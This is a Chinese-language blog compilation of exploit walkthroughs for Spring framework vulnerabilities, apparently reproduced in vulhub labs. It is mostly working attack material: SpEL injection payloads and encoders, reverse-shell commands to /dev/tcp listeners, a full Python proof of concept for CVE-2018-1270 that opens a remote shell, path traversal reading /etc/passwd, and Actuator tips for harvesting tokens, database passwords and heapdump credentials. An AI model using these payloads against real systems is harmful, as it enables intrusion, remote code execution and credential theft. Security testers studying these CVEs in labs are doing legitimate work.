Spring框架漏洞合集

Spring框架漏洞合集

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot

Spring框架漏洞合集_第1张图片
直接打poc,可以看到有el表达式注入的形式

/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

Spring框架漏洞合集_第2张图片
如果要命令执行需要把执行结果带外才行,java的命令执行漏洞基本需要编码
http://www.jackson-t.ca/runtime-exec-payloads.html

 Spring框架漏洞合集_第3张图片
Base64编码后的命令执行语句还需要进行ascii编码,直接带入以下python脚本中

message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'
print(poc)

python编码的poc直接替换掉前面的el表达式,漏洞成功复现
Spring框架漏洞合集_第4张图片

 Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

影响版本

Spring WebFlow 2.4.0 - 2.4.4

Spring框架漏洞合集_第5张图片

访问id为1的酒店http:/ :8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”

再点击确认“Confirm”:

Spring框架漏洞合集_第6张图片

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.244.128/5555+0>%261")).start()=vulhub

Spring框架漏洞合集_第7张图片

 

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞原理:

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞复现:

命令执行
访问http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
这是将每个字符转为对应的十进制,可以通过下面的python代码进行转换:

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

反弹shell
命令:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1
base64编码:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}
进制转换:

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,71,74,104,99,50,103,103,76,87,107,103,80,105,89,103,76,50,82,108,100,105,57,48,89,51,65,118,77,84,65,117,77,84,65,117,77,84,65,117,77,84,65,118,78,122,99,51,78,121,65,119,80,105,89,120,89,65,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

10.10.10.10上开启监听:nc -lvp 7777
替换掉touch /tmp/success对应的payload,重新发送数据包
成功反弹shell

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行

影响版本
Spring Framework 5.0 to 5.0.4
 
Spring Framework 4.3 to 4.3.14
 

环境搭建

拉取环境
docker pull seirian/cve-2018-1270
启动环境
 
docker run -d -p 8080:8080 seirian/cve-2018-1270

Spring框架漏洞合集_第8张图片
环境启动后访问http://your-ip:8080

Spring框架漏洞合集_第9张图片

 

漏洞复现
 

Poc

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
 
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))
 
 
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)
 
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
     
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']
 
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
         
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
 
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")
 
    def __del__(self):
        self.session.close()
 
 
sockjs = SockJS('http://192.168.1.100:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
 
sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.100/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})
 
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、漏洞描述

  Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.Burpsuite
3.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# 

执行命令

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出现以下页面证明已经搭建完成

Spring框架漏洞合集_第10张图片


可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

Spring框架漏洞合集_第11张图片

三、漏洞利用

1、注册用户,提交抓包

Spring框架漏洞合集_第12张图片

2、构造payload,进行发包测试

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服务器返回如下页面时,证明攻击成功!

Spring框架漏洞合集_第13张图片

3、进入Ubuntu环境中,执行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!
 

Spring框架漏洞合集_第14张图片

Spring Cloud Config目录遍历漏洞(CVE-2019-3799)

漏洞复现

下载一个存在漏洞的 Spring Cloud Config,下载地址如下:

https://github.com/spring-cloud/spring-cloud-config

启动环境后,使用get方法传入/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd,即可读取到linux下passwd文件信息。

Spring框架漏洞合集_第15张图片

 

Spring Boot Actuator命令执行漏洞

 一般来说,笔者挖掘 actuator 配置不当的漏洞分如下两步:1. 识别当前 web 应用使用的框架为 springboot 框架;2. 枚举执行器端点路径;下面针对这两步结合笔者漏洞挖掘中遇到的实例具体来说说。

1. 识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:

①通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:    

Spring框架漏洞合集_第16张图片该绿色小图标是 spring 框架下的一个默认图标,尽管不能百分百就此图标确认当前 web 应用使用的是 springboot 框架,但是基本上也能百分之八十确认该 web 应用是使用 springboot 框架开发的了(毕竟 springboot 框架确实是太流行了)。   

②通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):    

Spring框架漏洞合集_第17张图片当出现如上报错页面,就能确定当前 web 应用是使用了 springboot 框架的。   

那么综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。   

2. 枚举执行器端点路径。这个其实很简单,在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后写脚本对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可。(本来想写个比较通用的探测脚本的,现在只有延期了.. 写完之后放出来)       

漏洞利用

通过如上步骤,如果你发现了 actuator 的配置不当漏洞,那就要恭喜你啦。不过,尽管这些监控信息的泄露已经足够高危了,有时候碰到一些比较严格的厂商,需要你证明一下这些监控信息的具体危害,或者你想要将危害等级提升到严重,或者想要通过这些监控信息进一步挖掘其他漏洞,该怎么利用呢?笔者通过自身的踩坑经历,总结了如下几个点来尽可能最大化的利用该漏洞:        

①认证字段的获取以证明可影响其他用户;这个主要通过访问/trace 路径获取用户认证字段信息,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段:            

trace 路径:            

Spring框架漏洞合集_第18张图片用户认证字段泄露:

Spring框架漏洞合集_第19张图片

通过替换 token 字段可获取其他用户的信息:

Spring框架漏洞合集_第20张图片Spring框架漏洞合集_第21张图片②数据库账户密码泄露;由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息,比如如下站点存在 actuator 配置不当漏洞,通过其/env 路径,可获得 mysql、mangodb 的用户名及密码:            

Spring框架漏洞合集_第22张图片mangodb 及 mysql 都可直连,此处以 mysql 为例:            

Spring框架漏洞合集_第23张图片该漏洞详情请见https://det.io/info/detail/id/814,是笔者去年在 dvp 平台提交的一个漏洞。一旦数据库外连成功,漏洞分分钟高危变严重啊。           

③git 项目地址泄露;这个一般是在/health 路径,比如如下站点,访问其 health 路径可探测到站点 git 项目地址:            

Spring框架漏洞合集_第24张图片

直接访问 git 项目地址,可拿下源码:

Spring框架漏洞合集_第25张图片④后台用户账号密码泄露;这个一般是在/heapdump 路径下,访问/heapdump 路径,返回 GZip 压缩 hprof 堆转储文件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台用户的账号密码(包含漏洞的图片暂时没得,大家记住思路就好了..),通过泄露的账号密码,然后进入后台一番轰炸也不错的。   

CVE-2020-5398-Spring MVC的RFD(反射文件下载)复现

影响范围

  • Spring Framework 5.2.0 - 5.2.2
  • Spring Framework 5.1.0 - 5.1.12
  • Spring Framework 5.0.0 - 5.0.15

漏洞类型

反射型文件下载漏洞(RFD)

利用条件

1、响应header是通过org.springframework.http.ContentDisposition进行添加的

2、文件名是通过以下方式之一设置的:

  • ContentDisposition.Builder#filename(String)
  • ContentDisposition.Builder#filename(String, US_ASCII)

3、filename的值来自用户提供的输入

4、应用程序未清除用户提供的输入

5、攻击者已将下载的响应内容中注入恶意命令

攻击者可利用RFD漏洞,结合社工等方式,让用户下载一个恶意文件并执行,从而危害用户的终端安全

漏洞概述

2020年1月16日,Pivotal Software(Spring系列)官方发布 Spring Framework 存在 RFD(反射型文件下载漏洞)的漏洞报告,此漏洞为攻击客户端的漏洞,官方将漏洞严重程度评为高。报告指出,当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。

漏洞复现

环境搭建

❯ git clone https://github.com/motikan2010/CVE-2020-5398.git

❯ ./gradlew bootrun

Spring框架漏洞合集_第26张图片

Spring框架漏洞合集_第27张图片

环境搭建完成,开始利用。

http://172.16.125.128:8080/?filename=hack.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid

Spring框架漏洞合集_第28张图片

所以说,通过社工的方式,选用权重较高的域名来实现攻击,成功率很大。

PoC:

payload = "222.txt"
url = "/..%252F..%252F..%252F..%252F..%252F{0}%23/222/11".format(payload)
Spring框架漏洞合集_第29张图片

 

native的目录在:

/home/77/repos/spring-cloud-config-starter/config-repo

Spring框架漏洞合集_第30张图片

 

查看密码Payload为:

/..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23111/222

影响范围
Spring Cloud Config

2.2.0 to 2.2.2
2.1.0 to 2.1.8
 

你可能感兴趣的:(框架漏洞,java,框架漏洞)